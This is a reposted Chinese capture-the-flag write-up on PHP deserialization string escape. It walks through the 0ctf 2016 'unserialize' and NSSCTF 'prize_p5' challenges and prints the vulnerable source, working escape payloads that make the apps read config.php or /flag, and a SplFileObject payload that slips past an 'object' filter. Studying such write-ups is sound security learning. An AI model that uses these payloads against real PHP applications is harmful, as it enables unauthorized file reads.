PHP反序列化字符串逃逸

news2025/3/1 9:00:57

PHP反序列化字符串逃逸


提示:写完文章后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

  • PHP反序列化字符串逃逸
  • 前言
  • 一、关于反序列化和序列化
  • 二、[0ctf 2016]unserialize
  • 二、prize_p5[NSSCTF]


前言

例如:最近日常刷题玩的时候,做到了PHP反序列化字符串逃逸类型的题目,想了想之前好像也有类似的题,好像还挺常见到的,一起拿出来,记录一下。


一、关于反序列化和序列化

  1. 之所以有反序列化和序列化这种东西,是因为当程序执行结束的时候,内存会进行销毁释放空间,序列化能够将要保存的数据转换成有一定格式的字符串,无论是保存起来还是传输起来都更加便捷,而反序列化就是将序列化的数据恢复成最原先的样子。
  2. 那么PHP在反序列化的时候,是以;作为分隔点,}作为结束标志的,根据长度来判断要读取多少个字符串,假如在程序执行时,能够使得反序列化字符串增加或者减少,然后通过恶意构造,就会使得数据发生变化,反序列化吞或者吐了一些数据,造成了漏洞。

二、[0ctf 2016]unserialize

  1. 进入题目
    在这里插入图片描述

只有一个登录页面,没啥思路,直接扫了一波目录

在这里插入图片描述

访问www.zip能直接得到源码,同时通过register.php可以注册用户,update.php可以更新用户的信息,profile.php显示用户的信息,随便注册个用户,传点信息看看。

在这里插入图片描述

图片显示这里显然有点端倪,将数据base64后读取到了页面,应该这里是解题的入口点,由于透露了www.zip,所以可以直接看一波源代码。

  1. 关键源码
    (1)profile.php
<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
   <title>Profile</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
		<h3>Hi <?php echo $nickname;?></h3>
		<label>Phone: <?php echo $phone;?></label>
		<label>Email: <?php echo $email;?></label>
	</div>
</body>
</html>
<?php
	}
?>

(2)class.php

<?php
require('config.php');

class user extends mysql{
	private $table = 'users';

	public function is_exists($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		return parent::select($this->table, $where);
	}
	public function register($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$key_list = Array('username', 'password');
		$value_list = Array($username, md5($password));
		return parent::insert($this->table, $key_list, $value_list);
	}
	public function login($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		if ($object && $object->password === md5($password)) {
			return true;
		} else {
			return false;
		}
	}
	public function show_profile($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		return $object->profile;
	}
	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
	public function __tostring() {
		return __class__;
	}
}

class mysql {
	private $link = null;

	public function connect($config) {
		$this->link = mysql_connect(
			$config['hostname'],
			$config['username'], 
			$config['password']
		);
		mysql_select_db($config['database']);
		mysql_query("SET sql_mode='strict_all_tables'");

		return $this->link;
	}

	public function select($table, $where, $ret = '*') {
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
	}

	public function insert($table, $key_list, $value_list) {
		$key = implode(',', $key_list);
		$value = '\'' . implode('\',\'', $value_list) . '\''; 
		$sql = "INSERT INTO $table ($key) VALUES ($value)";
		return mysql_query($sql);
	}

	public function update($table, $key, $value, $where) {
		$sql = "UPDATE $table SET $key = '$value' WHERE $where";
		return mysql_query($sql);
	}

	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
	public function __tostring() {
		return __class__;
	}
}
session_start();
$user = new user();
$user->connect($config);

(3)update.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>UPDATE</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Please Update Your Profile</h3>
			<label>Phone:</label>
			<input type="text" name="phone" style="height:30px"class="span3"/>
			<label>Email:</label>
			<input type="text" name="email" style="height:30px"class="span3"/>
			<label>Nickname:</label>
			<input type="text" name="nickname" style="height:30px" class="span3">
			<label for="file">Photo:</label>
			<input type="file" name="photo" style="height:30px"class="span3"/>
			<button type="submit" class="btn btn-primary">UPDATE</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

依照上面的思路直接看图片那一部分,可以看到通过file_put_content()函数获取了图片传入的数据,并且在传入前对phone、email、nickname进行了反序列化,那么能不能控制photo的内容呢,好像不能,继续看看其它的。

	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

此处发现对传入的string进行了filter函数的替换,能使字符串增加,那么能不能构造,使得photo的内容读取为某个文件,不再读取后面upload/路径内容,按照顺序,nickname似乎可以办到

		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

这里对nickname进行了长度限制,先得绕过这里才能传入nickname,使用数组便可以,strlen函数处理不了数组

  1. payload

a:4:{s:5:“phone”;s:11:“01234567890”;s:5:“email”;s:10:“123@qq.com”;s:8:“nickname”;s:5:“aiwin”;s:5:“photo”;s:39:“upload/f3ccdd27d2000e3f9255a7e3e2c48800”;}
正常的传入的序列化字符串应当是这样的,这时我们要使photo为config.php读出flag,截断s:39:“upload/f3ccdd27d2000e3f9255a7e3e2c48800”;}的读取。
那么替换的值应当是";}s:5:“photo”;s:10:“config.php”;}这里一共34个字符,使用where替换成hacker时,会增加一个长度,因此34个where就会增加34个字符,使";}s:5:“photo”;s:10:“config.php”;}溢出,从而截断了upload后的读取,达到了读取config.php的效果。

<?php

function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}

$profile = array(
    'phone'=>'01234567890',
    'email'=>'123@qq.com',
    'nickname'=>array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'),
    'photo'=>'upload/'.md5('1.jpg')
);
print_r(serialize($profile));
print_r(filter(serialize($profile)));
var_dump(unserialize(filter(serialize($profile))));
?>

输入如下:

a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}array(4) {
  ["phone"]=>
  string(11) "01234567890"
  ["email"]=>
  string(10) "123@qq.com"
  ["nickname"]=>
  array(1) {
    [0]=>
    string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
  }
  ["photo"]=>
  string(10) "config.php"
}

where变成hacker之后,增加了一个字符,由于原先确定的是204个字符,where变成hacker后刚好占了204个字符,所以导致后面34个字符即s:5:“photo”;s:10:“config.php”;}";}溢出,因为以}为尾,所以认为反序列化结束,后面的upload的内容自然就被丢弃。

在这里插入图片描述
在这里插入图片描述

二、prize_p5[NSSCTF]

  1. 进入题目直接给了源码
<?php
error_reporting(0);

class catalogue{
    public $class;
    public $data;
    public function __construct()
    {
        $this->class = "error";
        $this->data = "hacker";
    }
    public function __destruct()
    {
        echo new $this->class($this->data);
    }
}
class error{
    public function __construct($OTL)
    {
        $this->OTL = $OTL;
        echo ("hello ".$this->OTL);
    }
}
class escape{
    public $name = 'OTL';
    public $phone = '123666';
    public $email = 'sweet@OTL.com';
}
function abscond($string) {
    $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
    $filter = '/' . implode('|', $filter) . '/i';
    return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){
    if(!preg_match('/object/i',$_GET['cata'])){
        unserialize($_GET['cata']);
    }
    else{
        $cc = new catalogue();
        unserialize(serialize($cc));
    }
    if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
        if (preg_match("/flag/i",$_POST['email'])){
            die("nonono,you can not do that!");
        }
        $abscond = new escape();
        $abscond->name = $_POST['name'];
        $abscond->phone = $_POST['phone'];
        $abscond->email = $_POST['email'];
        $abscond = serialize($abscond);
        $escape = get_object_vars(unserialize(abscond($abscond)));
        if(is_array($escape['phone'])){
            echo base64_encode(file_get_contents($escape['email']));
        }
        else{
            echo "I'm sorry to tell you that you are wrong";
        }
    }
}
else{
    highlight_file(__FILE__);
}
?>

这题有两个解,作者预期解应该是通过反序列化的逃逸进行。

第一种解在于catalogue类:通过此类的销毁函数中利用原生类的读取flag。

<?php
class catalogue{
public $class;
public $data;
public function __construct()
{
$this->class = "SplFileObject";
$this->data = "flag";
}

}
$a=new catalogue();
echo serialize($a)

虽然传入的cata进行了object的过滤,但是可以使用\十六进制字符绕过
O:9:“catalogue”:2:{s:5:“class”;S:13:“SplFile\4fbject”;s:4:“data”;s:5:“/flag”;}
这里S表示可以十六进制,\x4f代笔十进制79,ASCII对应的就是O
在这里插入图片描述
第二种反序列化解:

function abscond($string) {
    $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
    $filter = '/' . implode('|', $filter) . '/i';
    return preg_replace($filter, 'hacker', $string);
}

if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
        if (preg_match("/flag/i",$_POST['email'])){
            die("nonono,you can not do that!");
        }
        $abscond = new escape();
        $abscond->name = $_POST['name'];
        $abscond->phone = $_POST['phone'];
        $abscond->email = $_POST['email'];
        $abscond = serialize($abscond);
        $escape = get_object_vars(unserialize(abscond($abscond)));
        if(is_array($escape['phone'])){
            echo base64_encode(file_get_contents($escape['email']));
        }
        else{
            echo "I'm sorry to tell you that you are wrong";
        }
    }

在反序列化时,调用了abscond()对字符串进行替换,将NSS,CTF,OTL_QAQ,hello都替换成hacker,代码最后通过file_get_contents()获取email的数据并对email过滤了flag,因此这里可以通过字符串的逃逸影响email的内容,进而绕过flag,获取flag的值。由于这里phone必须是个数组,所以对name的值下手比较好。

首先是增加值:

对name构造,就需要让phone和email的值都溢出来,即字符串
“;s:5:“phone”;a:1:{i:0;i:1;}s:5:“email”;s:5:”/flag";}溢出,一共53个字符,NSS替换成hacker增加3个字符,所以17个NSS+2个hello刚好是53个字符。

<?php
class escape{
    public $name = 'NSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSShellohello";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}';
    public $phone = '1';
    public $email = '1';
}
function abscond($string){
    $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
    $filter = '/' . implode('|', $filter) . '/i';
    return preg_replace($filter, 'hacker', $string);
}
$a = new escape();
$b= serialize($a);
echo $b;
echo PHP_EOL;
$c = abscond($b);
var_dump(unserialize($c));

在这里插入图片描述

使值缩小也可以解

<?php
class escape{
    public $name = 'OTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQ';
    public $phone = 'A";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}';
    public $email = '1';
}
function abscond($string){
    return str_replace('OTL_QAQ', 'hacker', $string);
}
$a = new escape();
$b= serialize($a);
echo $b;
echo PHP_EOL;
$c = abscond($b);
echo $c;
echo PHP_EOL;
var_dump(unserialize($c));

相当于利用21个OTL_QAQ将长度为21的";s:5:“phone”;s:54:"A"给减少了。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/155124.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

常用的传输码介绍

文章目录前导知识1.AMI码2.HDB3码3.PST码4.数字双相码5.CMI码6.nBmB码前导知识 在介绍常用的传输码之前&#xff0c;先简单介绍一下直流分量。 信号的直流分量就是信号的平均值&#xff0c;它是一个与时间无关的常数&#xff0c;直流分量的数学公式表示为&#xff1a; 判断有…

基于轻量级YOLOv5+Transformer的汽车车损检测识别分析系统

将传统NLP领域提出来的Transformer技术与yolo目标检测模型融合已经成为一种经典的做法&#xff0c;早在之前的很多论文里面就有这种组合应用的出现了&#xff0c;本文主要是借鉴前文的思路&#xff0c;开发基于yolov5transformer的汽车车损检测识别模型&#xff0c;首先看下效果…

光流相关总结

基于图像亮度恒定假设&#xff0c; 图像亮度&#xff1a;I(x⃗,t)I(\vec x, t)I(x,t), 其中x⃗[x,y]\vec x[x,y]x[x,y]&#xff0c;那么亮度恒定假设&#xff1a; I(x⃗,t)I(x⃗δx⃗,tδt)(1)I(\vec x,t)I(\vec x \delta \vec x, t \delta t) (1)I(x,t)I(xδx,tδt)(1) 对上式…

2022年值得记录的一年,事与愿违的一年

年初带着对生活的不满、怀才不遇的傲慢&#xff1b; 愿即将到来的30岁不留遗憾&#xff1b; 你放下所有去追求向往的样子&#xff1b; 那时所有的空气都是清新的&#xff0c;即使它满是灰尘&#xff1b; 不再年少的你依然充满新奇&#xff1b; 用尽力气把自己钉在那个不属…

前端与后端的技术通性

一、后端的JDK相当于前端的Node.js, 后端的JVM相当于前端的V8引擎【作用示例图&#xff0c;如下所示】 【Nodejs、JDK分别是前后端的运行环境】 二、后端的Maven&#xff08;基于项目对象模型-Project Object Model-POM的项目管理机制&#xff09;相当于前端的npm&#xff08;n…

FlinkCDC

目录1、CDC 简介1.1、什么是CDC1.2、CDC的种类1.3、Flink-CDC2、Flink CDC 网址3、运行原理5、简要安装6、开发案例7、扩展1、CDC 简介 1.1、什么是CDC CDC 是 Change Data Capture&#xff08;变更数据获取&#xff09;的简称。核心思想是&#xff0c;监测并捕获数据库的变动…

js实现网页特效

文章目录一、元素偏移量offest系列&#x1f947;offset与style的区别&#x1f393;案例1&#x1f9b9;&#x1f3fd;‍♂️案例2&#x1f43c;案例3二、元素可视区client系列三、元素滚动scroll系列&#x1f3c2;&#x1f3ff;案例4&#xff1a;&#x1f52d;补充 mouseenter事…

大数据分析案例-基于KNN算法对茅台股票进行预测

&#x1f935;‍♂️ 个人主页&#xff1a;艾派森的个人主页 ✍&#x1f3fb;作者简介&#xff1a;Python学习者 &#x1f40b; 希望大家多多支持&#xff0c;我们一起进步&#xff01;&#x1f604; 如果文章对你有帮助的话&#xff0c; 欢迎评论 &#x1f4ac;点赞&#x1f4…

一个精美的主界面窗口功能的设计和实现原来如此简单,万字肝爆

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;元宇宙-秩沅 hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! 本文由 秩沅 原创 收录于专栏 玩归玩闹归闹&#xff0c;别拿java开玩笑 —————————————————— ⭐相关文章⭐ -通过窗口看…

数据结构与算法:栈和队列的学习

1.栈 1.栈的定义 栈&#xff1a;一种特殊的线性表&#xff0c;其只允许在固定的一端进行插入和删除元素操作。进行数据插入和删除操作的一端称为栈顶&#xff0c;另一端称为栈底。栈中的数据元素遵守后进先出LIFO&#xff08;Last In First Out&#xff09;的原则。 压栈&am…

AirServer2023免费无线Mac和PC电脑屏幕镜像投屏工具

AirServer2023是适用于 Mac 和 PC 的先进的屏幕镜像接收器。 它允许您接收 AirPlay 和 Google Cast 流&#xff0c;类似于 Apple TV 或 Chromecast 设备。AirServer 可以将一个简单的大屏幕或投影仪变成一个通用的屏幕镜像接收器 &#xff0c;是一款十分强大的投屏软件。AirSer…

Ansys Zemax | 眼科镜片设计

本文介绍了眼科镜片的设计原理&#xff0c;并讨论了镜片、眼睛和视觉环境中对镜片设计十分关键的参数&#xff0c;其中包括了常见镜片材料&#xff08;涵盖了玻璃和聚合物&#xff09;的玻璃目录。本文不包括渐进式镜片设计&#xff0c;尽管渐进式镜片时常根据一般的镜片曲率原…

【实际开发04】- XxxMapper.xml/java - 批量处理

目录 1. Model : XxxMapper.xml 1. IotTypeMapper.xml 基础 3 tips 2. Model : XxxMapper.java 1. IotTypeMapper.java 基础 3 tips 3. Others info 1. 模糊查询 2. 模糊查询 name 导致的异常 --> name 3. 连接查询 Where 限制主表 , 谨慎 : 使用副表限制 - ★ 4…

Java程序员如何使用代码来计算最大公约数和最小公倍数?

沉淀、分享、成长&#xff0c;让自己和他人都能有所收获&#xff01;&#x1f604; 一、前言 嘿&#xff0c;怎么突然讲到最大公约数了&#xff1f; 因为RSA算法&#xff0c;对于与欧拉结果计算的互为质数的公钥e&#xff0c;其实就需要使用到辗转相除法来计算出最大公约数。…

Java文件IO操作

目录 一、了解什么是文件 狭义的文件&#xff1a; 广义的文件&#xff1a; 二、文件的路径 ①文件的绝对路径 ②文件的相对路径 三、Java对于文件的操作 File类的构造方法 File类的普通方法 四、对于文件的内容操作 ①FileInputStream&#xff08;文件输入流&#xf…

ES索引备份还原

ES索引备份还原一、规划二、备份方案一&#xff1a;备份到集群共享目录方案二&#xff1a;备份到HDFSES还原一、规划 es数据出于线上数据安全考虑&#xff0c;对于es已有的索引数据可以进行安全备份&#xff0c;通常可以将es备份到共享文件目录或者一些其它的数据存储的文件系…

Splashtop Personal 安装教程

splashtop Personal 安装教程1. Splashtop Personal 概述2. splashtop Personal 安装步骤2.1 主控端&#xff08;Splashtop Business app&#xff09;2.2 被控端&#xff08;Splashtop Streamer&#xff09;2.3 打开主控端结束语1. Splashtop Personal 概述 Splashtop Persona…

java跳出循环的几种方式

在java中可以使用break、continue、return语句跳出for循环。break用于完全结束一个循环&#xff0c;跳出循环体&#xff1b;continue只是中止本次循环&#xff0c;接着开始下一次循环&#xff1b;return的功能是结束一个方法。 break语句 break用于完全结束一个循环&#xff0…

4.5 集成运放的种类及选择

一、集成运放的发展概述 集成运放自 20 世纪 60 年代问世以来&#xff0c;飞速发展&#xff0c;目前已经历了四代产品。 第一代产品基本沿用了分立元件放大电路的设计思想&#xff0c;采用了集成数字电路的制造工艺&#xff0c;利用了少量横向 PNP 管&#xff0c;构成以电流源…

Axure 原型设计的三步进阶法

平时跟很多同学朋友的交流过程中&#xff0c;对于axure的需要做到怎样&#xff0c;众说纷纭。总结了一下大家的意见&#xff0c;分别有以下几种&#xff1a; 1、掌握基本的搭建方法即可&#xff0c;不需要做交互&#xff1b; 2、既然做就要做到尽善尽美&#xff0c;页面和交互…